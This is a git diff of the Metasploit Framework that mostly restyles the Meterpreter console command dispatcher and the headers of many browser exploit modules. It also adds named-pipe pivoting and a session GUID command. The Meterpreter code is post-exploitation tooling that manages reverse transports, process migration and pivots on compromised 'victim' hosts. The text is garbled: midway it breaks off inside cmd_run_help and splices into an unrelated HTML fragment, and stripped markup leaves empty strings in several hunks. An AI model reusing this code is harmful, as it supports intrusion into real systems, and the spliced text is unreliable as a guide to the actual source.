'add' + unless opts[:type] + print_error('Pivot type must be specified (-t)') + return false + end + + unless opts[:arch] + print_error('Architecture must be specified (-a)') + return false + end + unless @@pivot_supported_archs.include?(opts[:arch]) + print_error("Unknown or unsupported architecture: #{opts[:arch]}") + return false + end + + unless opts[:platform] + print_error('Platform must be specified (-p)') + return false + end + unless @@pivot_supported_platforms.include?(opts[:platform]) + print_error("Unknown or unsupported platform: #{opts[:platform]}") + return false + end + + # currently only one pivot type supported, more to come we hope + case opts[:type] + when 'pipe' + pivot_add_named_pipe(opts) + else + print_error("Unknown pivot type: #{opts[:type]}") + return false + end + else + print_error("Unknown command: #{args[0]}") + end + end + + def pivot_add_named_pipe(opts) + unless opts[:lhost] + print_error('Pipe host must be specified (-l)') + return false + end + + unless opts[:name] + print_error('Pipe name must be specified (-n)') + return false + end + + # reconfigure the opts so that they can be passed to the setup function + opts[:pipe_host] = opts[:lhost] + opts[:pipe_name] = opts[:name] + Pivot.create_named_pipe_listener(client, opts) + print_good("Successfully created #{opts[:type]} pivot.") end def cmd_sessions_help @@ -141,14 +295,14 @@ class Console::CommandDispatcher::Core end def cmd_background_help - print_line "Usage: background" + print_line('Usage: background') print_line - print_line "Stop interacting with this session and return to the parent prompt" + print_line('Stop interacting with this session and return to the parent prompt') print_line end def cmd_background - print_status "Backgrounding session #{client.name}..." + print_status("Backgrounding session #{client.name}...") client.interacting = false end @@ -156,26 +310,26 @@ class Console::CommandDispatcher::Core # Displays information about active channels # @@channel_opts = Rex::Parser::Arguments.new( - "-c" => [ true, "Close the given channel." ], - "-k" => [ true, "Close the given channel." ], - "-i" => [ true, "Interact with the given channel." ], - "-l" => [ false, "List active channels." ], - "-r" => [ true, "Read from the given channel." ], - "-w" => [ true, "Write to the given channel." ], - "-h" => [ false, "Help menu." ]) + '-c' => [ true, 'Close the given channel.' ], + '-k' => [ true, 'Close the given channel.' ], + '-i' => [ true, 'Interact with the given channel.' ], + '-l' => [ false, 'List active channels.' ], + '-r' => [ true, 'Read from the given channel.' ], + '-w' => [ true, 'Write to the given channel.' ], + '-h' => [ false, 'Help menu.' ]) def cmd_channel_help - print_line "Usage: channel [options]" + print_line('Usage: channel [options]') print_line - print_line "Displays information about active channels." - print_line @@channel_opts.usage + print_line('Displays information about active channels.') + print_line(@@channel_opts.usage) end # # Performs operations on the supplied channel. # def cmd_channel(*args) - if args.empty? or args.include?("-h") or args.include?("--help") + if args.empty? || args.include?('-h') cmd_channel_help return end @@ -186,24 +340,25 @@ class Console::CommandDispatcher::Core # Parse options @@channel_opts.parse(args) { |opt, idx, val| case opt - when "-l" + when '-l' mode = :list - when "-c", "-k" + when '-c', '-k' mode = :close chan = val - when "-i" + when '-i' mode = :interact chan = val - when "-r" + when '-r' mode = :read chan = val - when "-w" + when '-w' mode = :write chan = val end + if @@channel_opts.arg_required?(opt) unless chan - print_error("Channel ID required") + print_error('Channel ID required') return end end @@ -213,12 +368,7 @@ class Console::CommandDispatcher::Core when :list tbl = Rex::Text::Table.new( 'Indent' => 4, - 'Columns' => - [ - 'Id', - 'Class', - 'Type' - ]) + 'Columns' => ['Id', 'Class', 'Type']) items = 0 client.channels.each_pair { |cid, channel| @@ -227,7 +377,7 @@ class Console::CommandDispatcher::Core } if (items == 0) - print_line("No active channels.") + print_line('No active channels.') else print("\n" + tbl.to_s + "\n") end @@ -251,7 +401,7 @@ class Console::CommandDispatcher::Core @@channel_opts.fmt.keys when 2 case words[1] - when "-k", "-c", "-i", "-r", "-w" + when '-k', '-c', '-i', '-r', '-w' tab_complete_channels else [] @@ -262,9 +412,9 @@ class Console::CommandDispatcher::Core end def cmd_close_help - print_line "Usage: close " + print_line('Usage: close ') print_line - print_line "Closes the supplied channel." + print_line('Closes the supplied channel.') print_line end @@ -272,22 +422,22 @@ class Console::CommandDispatcher::Core # Closes a supplied channel. # def cmd_close(*args) - if (args.length == 0) + if args.length == 0 cmd_close_help return true end - cid = args[0].to_i + cid = args[0].to_i channel = client.find_channel(cid) - if (!channel) - print_error("Invalid channel identifier specified.") + unless channel + print_error('Invalid channel identifier specified.') return true - else - channel._close # Issue #410 - - print_status("Closed channel #{cid}.") end + + channel._close # Issue #410 + + print_status("Closed channel #{cid}.") end def cmd_close_tabs(str, words) @@ -300,7 +450,7 @@ class Console::CommandDispatcher::Core # Terminates the meterpreter session. # def cmd_exit(*args) - print_status("Shutting down Meterpreter...") + print_status('Shutting down Meterpreter...') client.core.shutdown rescue nil client.shutdown_passive_dispatcher shell.stop @@ -309,13 +459,13 @@ class Console::CommandDispatcher::Core alias cmd_quit cmd_exit def cmd_detach_help - print_line "Detach from the victim. Only possible for non-stream sessions (http/https)" + print_line('Detach from the victim. Only possible for non-stream sessions (http/https)') print_line - print_line "The victim will continue to attempt to call back to the handler until it" - print_line "successfully connects (which may happen immediately if you have a handler" - print_line "running in the background), or reaches its expiration." + print_line('The victim will continue to attempt to call back to the handler until it') + print_line('successfully connects (which may happen immediately if you have a handler') + print_line('running in the background), or reaches its expiration.') print_line - print_line "This session may #{client.passive_service ? "" : "NOT"} be detached." + print_line("This session may #{client.passive_service ? "" : "NOT"} be detached.") print_line end @@ -328,9 +478,9 @@ class Console::CommandDispatcher::Core end def cmd_interact_help - print_line "Usage: interact " + print_line('Usage: interact ') print_line - print_line "Interacts with the supplied channel." + print_line('Interacts with the supplied channel.') print_line end @@ -338,29 +488,29 @@ class Console::CommandDispatcher::Core # Interacts with a channel. # def cmd_interact(*args) - if (args.length == 0) + if args.length == 0 cmd_info_help return true end - cid = args[0].to_i + cid = args[0].to_i channel = client.find_channel(cid) - if (channel) + if channel print_line("Interacting with channel #{cid}...\n") shell.interact_with_channel(channel) else - print_error("Invalid channel identifier specified.") + print_error('Invalid channel identifier specified.') end end alias cmd_interact_tabs cmd_close_tabs def cmd_irb_help - print_line "Usage: irb" + print_line('Usage: irb') print_line - print_line "Execute commands in a Ruby environment" + print_line('Execute commands in a Ruby environment') print @@irb_opts.usage end @@ -384,8 +534,9 @@ class Console::CommandDispatcher::Core framework = client.framework if expressions.empty? - print_status("Starting IRB shell") - print_status("The 'client' variable holds the meterpreter client\n") + print_status('Starting IRB shell') + print_status('The "client" variable holds the meterpreter client') + print_line Rex::Ui::Text::IrbShell.new(binding).run else @@ -394,11 +545,11 @@ class Console::CommandDispatcher::Core end @@set_timeouts_opts = Rex::Parser::Arguments.new( - '-c' => [ true, 'Comms timeout (seconds)' ], - '-x' => [ true, 'Expiration timout (seconds)' ], - '-t' => [ true, 'Retry total time (seconds)' ], - '-w' => [ true, 'Retry wait time (seconds)' ], - '-h' => [ false, 'Help menu' ]) + '-c' => [true, 'Comms timeout (seconds)'], + '-x' => [true, 'Expiration timout (seconds)'], + '-t' => [true, 'Retry total time (seconds)'], + '-w' => [true, 'Retry wait time (seconds)'], + '-h' => [false, 'Help menu']) def cmd_set_timeouts_help print_line('Usage: set_timeouts [options]') @@ -409,7 +560,7 @@ class Console::CommandDispatcher::Core end def cmd_set_timeouts(*args) - if ( args.length == 0 or args.include?("-h") ) + if args.length == 0 || args.include?('-h') cmd_set_timeouts_help return end @@ -430,7 +581,7 @@ class Console::CommandDispatcher::Core end if opts.keys.length == 0 - print_error("No options set") + print_error('No options set') else timeouts = client.core.set_transport_timeouts(opts) print_timeouts(timeouts) @@ -467,6 +618,15 @@ class Console::CommandDispatcher::Core print_good("Machine ID: #{client.machine_id}") end + # + # Get the session GUID + # + def cmd_guid(*args) + parts = client.session_guid.unpack('H*')[0] + guid = [parts[0, 8], parts[8, 4], parts[12, 4], parts[16, 4], parts[20, 12]].join('-') + print_good("Session GUID: #{guid}") + end + # # Get the machine ID of the target (should always be up to date locally) # @@ -534,7 +694,7 @@ class Console::CommandDispatcher::Core if hash print_good("SSL verification is enabled. SHA1 Hash: #{hash.unpack("H*")[0]}") else - print_good("SSL verification is disabled.") + print_good('SSL verification is disabled.') end elsif enable @@ -542,14 +702,14 @@ class Console::CommandDispatcher::Core if hash print_good("SSL verification has been enabled. SHA1 Hash: #{hash.unpack("H*")[0]}") else - print_error("Failed to enable SSL verification") + print_error('Failed to enable SSL verification') end else if client.core.disable_ssl_hash_verify print_good('SSL verification has been disabled') else - print_error("Failed to disable SSL verification") + print_error('Failed to disable SSL verification') end end @@ -598,25 +758,24 @@ class Console::CommandDispatcher::Core # Arguments for transport switching # @@transport_opts = Rex::Parser::Arguments.new( - '-t' => [ true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.keys.join(', ')}" ], - '-l' => [ true, 'LHOST parameter (for reverse transports)' ], - '-p' => [ true, 'LPORT parameter' ], - '-i' => [ true, 'Specify transport by index (currently supported: remove)' ], - '-u' => [ true, 'Custom URI for HTTP/S transports (used when removing transports)' ], - '-lu' => [ true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)' ], - '-ua' => [ true, 'User agent for HTTP/S transports (optional)' ], - '-ph' => [ true, 'Proxy host for HTTP/S transports (optional)' ], - '-pp' => [ true, 'Proxy port for HTTP/S transports (optional)' ], - '-pu' => [ true, 'Proxy username for HTTP/S transports (optional)' ], - '-ps' => [ true, 'Proxy password for HTTP/S transports (optional)' ], - '-pt' => [ true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)' ], - '-c' => [ true, 'SSL certificate path for https transport verification (optional)' ], - '-to' => [ true, 'Comms timeout (seconds) (default: same as current session)' ], - '-ex' => [ true, 'Expiration timout (seconds) (default: same as current session)' ], - '-rt' => [ true, 'Retry total time (seconds) (default: same as current session)' ], - '-rw' => [ true, 'Retry wait time (seconds) (default: same as current session)' ], - '-v' => [ false, 'Show the verbose format of the transport list' ], - '-h' => [ false, 'Help menu' ]) + '-t' => [true, "Transport type: #{Rex::Post::Meterpreter::ClientCore::VALID_TRANSPORTS.join(', ')}"], + '-l' => [true, 'LHOST parameter (for reverse transports)'], + '-p' => [true, 'LPORT parameter'], + '-i' => [true, 'Specify transport by index (currently supported: remove)'], + '-u' => [true, 'Local URI for HTTP/S transports (used when adding/changing transports with a custom LURI)'], + '-c' => [true, 'SSL certificate path for https transport verification (optional)'], + '-A' => [true, 'User agent for HTTP/S transports (optional)'], + '-H' => [true, 'Proxy host for HTTP/S transports (optional)'], + '-P' => [true, 'Proxy port for HTTP/S transports (optional)'], + '-U' => [true, 'Proxy username for HTTP/S transports (optional)'], + '-N' => [true, 'Proxy password for HTTP/S transports (optional)'], + '-B' => [true, 'Proxy type for HTTP/S transports (optional: http, socks; default: http)'], + '-C' => [true, 'Comms timeout (seconds) (default: same as current session)'], + '-X' => [true, 'Expiration timout (seconds) (default: same as current session)'], + '-T' => [true, 'Retry total time (seconds) (default: same as current session)'], + '-W' => [true, 'Retry wait time (seconds) (default: same as current session)'], + '-v' => [false, 'Show the verbose format of the transport list'], + '-h' => [false, 'Help menu']) # # Display help for transport management. @@ -656,23 +815,22 @@ class Console::CommandDispatcher::Core end opts = { - :uuid => client.payload_uuid, - :transport => nil, - :lhost => nil, - :lport => nil, - :uri => nil, - :ua => nil, - :proxy_host => nil, - :proxy_port => nil, - :proxy_type => nil, - :proxy_user => nil, - :proxy_pass => nil, - :comm_timeout => nil, - :session_exp => nil, - :retry_total => nil, - :retry_wait => nil, - :cert => nil, - :verbose => false + :uuid => client.payload_uuid, + :transport => nil, + :lhost => nil, + :lport => nil, + :ua => nil, + :proxy_host => nil, + :proxy_port => nil, + :proxy_type => nil, + :proxy_user => nil, + :proxy_pass => nil, + :comm_timeout => nil, + :session_exp => nil, + :retry_total => nil, + :retry_wait => nil, + :cert => nil, + :verbose => false } valid = true @@ -681,31 +839,29 @@ class Console::CommandDispatcher::Core case opt when '-c' opts[:cert] = val - when '-u' - opts[:uri] = val when '-i' transport_index = val.to_i - when '-lu' + when '-u' opts[:luri] = val - when '-ph' + when '-H' opts[:proxy_host] = val - when '-pp' + when '-P' opts[:proxy_port] = val.to_i - when '-pt' + when '-B' opts[:proxy_type] = val - when '-pu' + when '-U' opts[:proxy_user] = val - when '-ps' + when '-N' opts[:proxy_pass] = val - when '-ua' + when '-A' opts[:ua] = val - when '-to' + when '-C' opts[:comm_timeout] = val.to_i if val - when '-ex' + when '-X' opts[:session_exp] = val.to_i if val - when '-rt' + when '-T' opts[:retry_total] = val.to_i if val - when '-rw' + when '-W' opts[:retry_wait] = val.to_i if val when '-p' opts[:lport] = val.to_i if val @@ -742,14 +898,7 @@ class Console::CommandDispatcher::Core # this will output the session timeout first print_timeouts(result) - columns =[ - 'ID', - 'Curr', - 'URL', - 'Comms T/O', - 'Retry Total', - 'Retry Wait' - ] + columns = ['ID', 'Curr', 'URL', 'Comms T/O', 'Retry Total', 'Retry Wait'] if opts[:verbose] columns << 'User Agent' @@ -766,8 +915,8 @@ class Console::CommandDispatcher::Core 'Columns' => columns) sorted_by_url.each_with_index do |t, i| - entry = [ i+1, (current_transport_url == t[:url]) ? '*' : '', t[:url], - t[:comm_timeout], t[:retry_total], t[:retry_wait] ] + entry = [i + 1, current_transport_url == t[:url] ? '*' : '', t[:url], + t[:comm_timeout], t[:retry_total], t[:retry_wait]] if opts[:verbose] entry << t[:ua] @@ -782,42 +931,42 @@ class Console::CommandDispatcher::Core print("\n" + tbl.to_s + "\n") when 'next' - print_status("Changing to next transport ...") + print_status('Changing to next transport ...') if client.core.transport_next - print_good("Successfully changed to the next transport, killing current session.") + print_good('Successfully changed to the next transport, killing current session.') client.shutdown_passive_dispatcher shell.stop else - print_error("Failed to change transport, please check the parameters") + print_error('Failed to change transport, please check the parameters') end when 'prev' - print_status("Changing to previous transport ...") + print_status('Changing to previous transport ...') if client.core.transport_prev - print_good("Successfully changed to the previous transport, killing current session.") + print_good('Successfully changed to the previous transport, killing current session.') client.shutdown_passive_dispatcher shell.stop else - print_error("Failed to change transport, please check the parameters") + print_error('Failed to change transport, please check the parameters') end when 'change' - print_status("Changing to new transport ...") + print_status('Changing to new transport ...') if client.core.transport_change(opts) print_good("Successfully added #{opts[:transport]} transport, killing current session.") client.shutdown_passive_dispatcher shell.stop else - print_error("Failed to change transport, please check the parameters") + print_error('Failed to change transport, please check the parameters') end when 'add' - print_status("Adding new transport ...") + print_status('Adding new transport ...') if client.core.transport_add(opts) print_good("Successfully added #{opts[:transport]} transport.") else - print_error("Failed to add transport, please check the parameters") + print_error('Failed to add transport, please check the parameters') end when 'remove' if opts[:transport] && !opts[:transport].end_with?('_tcp') && opts[:uri].nil? - print_error("HTTP/S transport specified without session URI") + print_error('HTTP/S transport specified without session URI') return end @@ -829,7 +978,7 @@ class Console::CommandDispatcher::Core opts[:transport] = "reverse_#{uri.scheme}" opts[:lhost] = uri.host opts[:lport] = uri.port - opts[:uri] = uri.path[1..-2] if uri.scheme.include?("http") + opts[:uri] = uri.path[1..-2] if uri.scheme.include?('http') rescue URI::InvalidURIError print_error("Failed to parse URL: #{url_to_delete}") @@ -837,11 +986,11 @@ class Console::CommandDispatcher::Core end end - print_status("Removing transport ...") + print_status('Removing transport ...') if client.core.transport_remove(opts) print_good("Successfully removed #{opts[:transport]} transport.") else - print_error("Failed to remove transport, please check the parameters") + print_error('Failed to remove transport, please check the parameters') end end end @@ -849,8 +998,8 @@ class Console::CommandDispatcher::Core @@migrate_opts = Rex::Parser::Arguments.new( '-P' => [true, 'PID to migrate to.'], '-N' => [true, 'Process name to migrate to.'], - '-p' => [true, 'Writable path - Linux only (eg. /tmp).'], - '-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'], + '-p' => [true, 'Writable path - Linux only (eg. /tmp).'], + '-t' => [true, 'The number of seconds to wait for migration to finish (default: 60).'], '-h' => [false, 'Help menu.'] ) @@ -898,7 +1047,7 @@ class Console::CommandDispatcher::Core pid = val.to_i when '-N' if val.to_s.empty? - print_error("No process name provided") + print_error('No process name provided') return end # this will migrate to the first process with a matching name @@ -980,23 +1129,23 @@ class Console::CommandDispatcher::Core end def cmd_load_help - print_line("Usage: load ext1 ext2 ext3 ...") + print_line('Usage: load ext1 ext2 ext3 ...') print_line - print_line "Loads a meterpreter extension module or modules." - print_line @@load_opts.usage + print_line('Loads a meterpreter extension module or modules.') + print_line(@@load_opts.usage) end # # Loads one or more meterpreter extensions. # def cmd_load(*args) - if (args.length == 0) - args.unshift("-h") + if args.length == 0 + args.unshift('-h') end @@load_opts.parse(args) { |opt, idx, val| case opt - when "-l" + when '-l' exts = SortedSet.new msf_path = MetasploitPayloads.msf_meterpreter_dir gem_path = MetasploitPayloads.local_meterpreter_dir @@ -1010,7 +1159,7 @@ class Console::CommandDispatcher::Core print(exts.to_a.join("\n") + "\n") return true - when "-h" + when '-h' cmd_load_help return true end @@ -1038,7 +1187,7 @@ class Console::CommandDispatcher::Core next end - print_line("success.") + print_line('Success.') } return true @@ -1068,9 +1217,9 @@ class Console::CommandDispatcher::Core alias cmd_use_tabs cmd_load_tabs def cmd_read_help - print_line "Usage: read [length]" + print_line('Usage: read [length]') print_line - print_line "Reads data from the supplied channel." + print_line('Reads data from the supplied channel.') print_line end @@ -1078,7 +1227,7 @@ class Console::CommandDispatcher::Core # Reads data from a channel. # def cmd_read(*args) - if (args.length == 0) + if args.length == 0 cmd_read_help return true end @@ -1087,17 +1236,17 @@ class Console::CommandDispatcher::Core length = (args.length >= 2) ? args[1].to_i : 16384 channel = client.find_channel(cid) - if (!channel) + unless channel print_error("Channel #{cid} is not valid.") return true end data = channel.read(length) - if (data and data.length) + if data && data.length print("Read #{data.length} bytes from #{cid}:\n\n#{data}\n") else - print_error("No data was returned.") + print_error('No data was returned.') end return true @@ -1106,11 +1255,11 @@ class Console::CommandDispatcher::Core alias cmd_read_tabs cmd_close_tabs def cmd_run_help - print_line "Usage: run \n| html << %Q|| return html end diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb index e764736668..40370f7411 100644 --- a/modules/exploits/multi/browser/itms_overflow.rb +++ b/modules/exploits/multi/browser/itms_overflow.rb @@ -1,9 +1,8 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -99,11 +98,14 @@ class MetasploitModule < Msf::Exploit::Remote # Return back an example URL. Using an iframe doesn't work with all # browsers, but that's easy enough to fix if you need to. return String(<<-EOS) -iTunes loading . . . + + +iTunes loading . . . + +

iTunes should open automatically, but if it doesn't, click to continue.

- EOS @@ -124,5 +126,4 @@ EOS send_response_html(cli, page, header) handler(cli) end - end diff --git a/modules/exploits/multi/browser/java_atomicreferencearray.rb b/modules/exploits/multi/browser/java_atomicreferencearray.rb index c765c54079..f197656e52 100644 --- a/modules/exploits/multi/browser/java_atomicreferencearray.rb +++ b/modules/exploits/multi/browser/java_atomicreferencearray.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -167,6 +167,5 @@ class MetasploitModule < Msf::Exploit::Remote def generate_jar() return @jar_data end - end diff --git a/modules/exploits/multi/browser/java_calendar_deserialize.rb b/modules/exploits/multi/browser/java_calendar_deserialize.rb index e28976d083..b94ae26bad 100644 --- a/modules/exploits/multi/browser/java_calendar_deserialize.rb +++ b/modules/exploits/multi/browser/java_calendar_deserialize.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_getsoundbank_bof.rb b/modules/exploits/multi/browser/java_getsoundbank_bof.rb index 2d8ac17b9f..50025f8583 100644 --- a/modules/exploits/multi/browser/java_getsoundbank_bof.rb +++ b/modules/exploits/multi/browser/java_getsoundbank_bof.rb @@ -1,10 +1,8 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -223,5 +221,4 @@ EOF return @jar_data end - end diff --git a/modules/exploits/multi/browser/java_jre17_driver_manager.rb b/modules/exploits/multi/browser/java_jre17_driver_manager.rb index eb750bf9d4..979c81d26f 100644 --- a/modules/exploits/multi/browser/java_jre17_driver_manager.rb +++ b/modules/exploits/multi/browser/java_jre17_driver_manager.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -176,5 +176,4 @@ class MetasploitModule < Msf::Exploit::Remote | return html end - end diff --git a/modules/exploits/multi/browser/java_jre17_exec.rb b/modules/exploits/multi/browser/java_jre17_exec.rb index 75d46f6db4..ac8e3e1e6f 100644 --- a/modules/exploits/multi/browser/java_jre17_exec.rb +++ b/modules/exploits/multi/browser/java_jre17_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -126,5 +126,4 @@ class MetasploitModule < Msf::Exploit::Remote html += "" return html end - end diff --git a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb index 3832cf1631..cb7daccb13 100644 --- a/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb +++ b/modules/exploits/multi/browser/java_jre17_glassfish_averagerangestatisticimpl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -123,5 +123,4 @@ class MetasploitModule < Msf::Exploit::Remote html += %Q|| return html end - end diff --git a/modules/exploits/multi/browser/java_jre17_jaxws.rb b/modules/exploits/multi/browser/java_jre17_jaxws.rb index fa25c8e81d..cea61b7527 100644 --- a/modules/exploits/multi/browser/java_jre17_jaxws.rb +++ b/modules/exploits/multi/browser/java_jre17_jaxws.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -111,5 +111,4 @@ class MetasploitModule < Msf::Exploit::Remote html += "" return html end - end diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean.rb b/modules/exploits/multi/browser/java_jre17_jmxbean.rb index b7f4037fd8..9321e01074 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -124,5 +124,4 @@ class MetasploitModule < Msf::Exploit::Remote html += %Q|| return html end - end diff --git a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb index 9ceb3a1d04..b3abf139c4 100644 --- a/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb +++ b/modules/exploits/multi/browser/java_jre17_jmxbean_2.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -134,5 +134,4 @@ document.write('" return html end - end diff --git a/modules/exploits/multi/browser/java_rmi_connection_impl.rb b/modules/exploits/multi/browser/java_rmi_connection_impl.rb index 2e4f398e7a..7c86d282a3 100644 --- a/modules/exploits/multi/browser/java_rmi_connection_impl.rb +++ b/modules/exploits/multi/browser/java_rmi_connection_impl.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -103,5 +103,4 @@ class MetasploitModule < Msf::Exploit::Remote html += "" return html end - end diff --git a/modules/exploits/multi/browser/java_setdifficm_bof.rb b/modules/exploits/multi/browser/java_setdifficm_bof.rb index 11244ad02e..b63015b2ee 100644 --- a/modules/exploits/multi/browser/java_setdifficm_bof.rb +++ b/modules/exploits/multi/browser/java_setdifficm_bof.rb @@ -1,10 +1,8 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -220,5 +218,4 @@ EOF return @jar_data end - end diff --git a/modules/exploits/multi/browser/java_signed_applet.rb b/modules/exploits/multi/browser/java_signed_applet.rb index eb6268ef98..1c0e9c06b1 100644 --- a/modules/exploits/multi/browser/java_signed_applet.rb +++ b/modules/exploits/multi/browser/java_signed_applet.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/browser/java_storeimagearray.rb b/modules/exploits/multi/browser/java_storeimagearray.rb index 9d14f3ba81..caca994af8 100644 --- a/modules/exploits/multi/browser/java_storeimagearray.rb +++ b/modules/exploits/multi/browser/java_storeimagearray.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -148,5 +148,4 @@ class MetasploitModule < Msf::Exploit::Remote return jar.pack end - end diff --git a/modules/exploits/multi/browser/java_trusted_chain.rb b/modules/exploits/multi/browser/java_trusted_chain.rb index 2415ab9de5..af0c824e19 100644 --- a/modules/exploits/multi/browser/java_trusted_chain.rb +++ b/modules/exploits/multi/browser/java_trusted_chain.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -110,5 +110,4 @@ class MetasploitModule < Msf::Exploit::Remote html += "" return html end - end diff --git a/modules/exploits/multi/browser/java_verifier_field_access.rb b/modules/exploits/multi/browser/java_verifier_field_access.rb index b51085f771..124b95a3fb 100644 --- a/modules/exploits/multi/browser/java_verifier_field_access.rb +++ b/modules/exploits/multi/browser/java_verifier_field_access.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -17,7 +17,7 @@ class MetasploitModule < Msf::Exploit::Remote 'Name' => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution', 'Description' => %q{ This module exploits a vulnerability in HotSpot bytecode verifier where an invalid - optimisation of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficent + optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient type checks. This allows a way to escape the JRE sandbox, and load additional classes in order to perform malicious operations. }, @@ -166,6 +166,5 @@ class MetasploitModule < Msf::Exploit::Remote def generate_jar() @jar_data end - end diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb index 6cba699ce2..016b827dad 100644 --- a/modules/exploits/multi/browser/mozilla_compareto.rb +++ b/modules/exploits/multi/browser/mozilla_compareto.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -134,5 +134,4 @@ class MetasploitModule < Msf::Exploit::Remote | end - end diff --git a/modules/exploits/multi/browser/mozilla_navigatorjava.rb b/modules/exploits/multi/browser/mozilla_navigatorjava.rb index ac82540c7a..6bfd039e49 100644 --- a/modules/exploits/multi/browser/mozilla_navigatorjava.rb +++ b/modules/exploits/multi/browser/mozilla_navigatorjava.rb @@ -1,9 +1,10 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/constants' + class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/multi/browser/opera_configoverwrite.rb b/modules/exploits/multi/browser/opera_configoverwrite.rb index ab1ac38520..cf358c301b 100644 --- a/modules/exploits/multi/browser/opera_configoverwrite.rb +++ b/modules/exploits/multi/browser/opera_configoverwrite.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -131,5 +131,4 @@ blank_iframe_window.eval( ENDJS end - end diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb index 0d78fe6e64..ca8723c641 100644 --- a/modules/exploits/multi/browser/opera_historysearch.rb +++ b/modules/exploits/multi/browser/opera_historysearch.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -170,5 +170,4 @@ class MetasploitModule < Msf::Exploit::Remote send_response_html(cli, content, headers) handler(cli) end - end diff --git a/modules/exploits/multi/browser/qtjava_pointer.rb b/modules/exploits/multi/browser/qtjava_pointer.rb index f502b5a158..f88a5ede57 100644 --- a/modules/exploits/multi/browser/qtjava_pointer.rb +++ b/modules/exploits/multi/browser/qtjava_pointer.rb @@ -1,10 +1,8 @@ ## -# This module requires Metasploit: http://metasploit.com/download +# This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## - - class MetasploitModule < Msf::Exploit::Remote Rank = 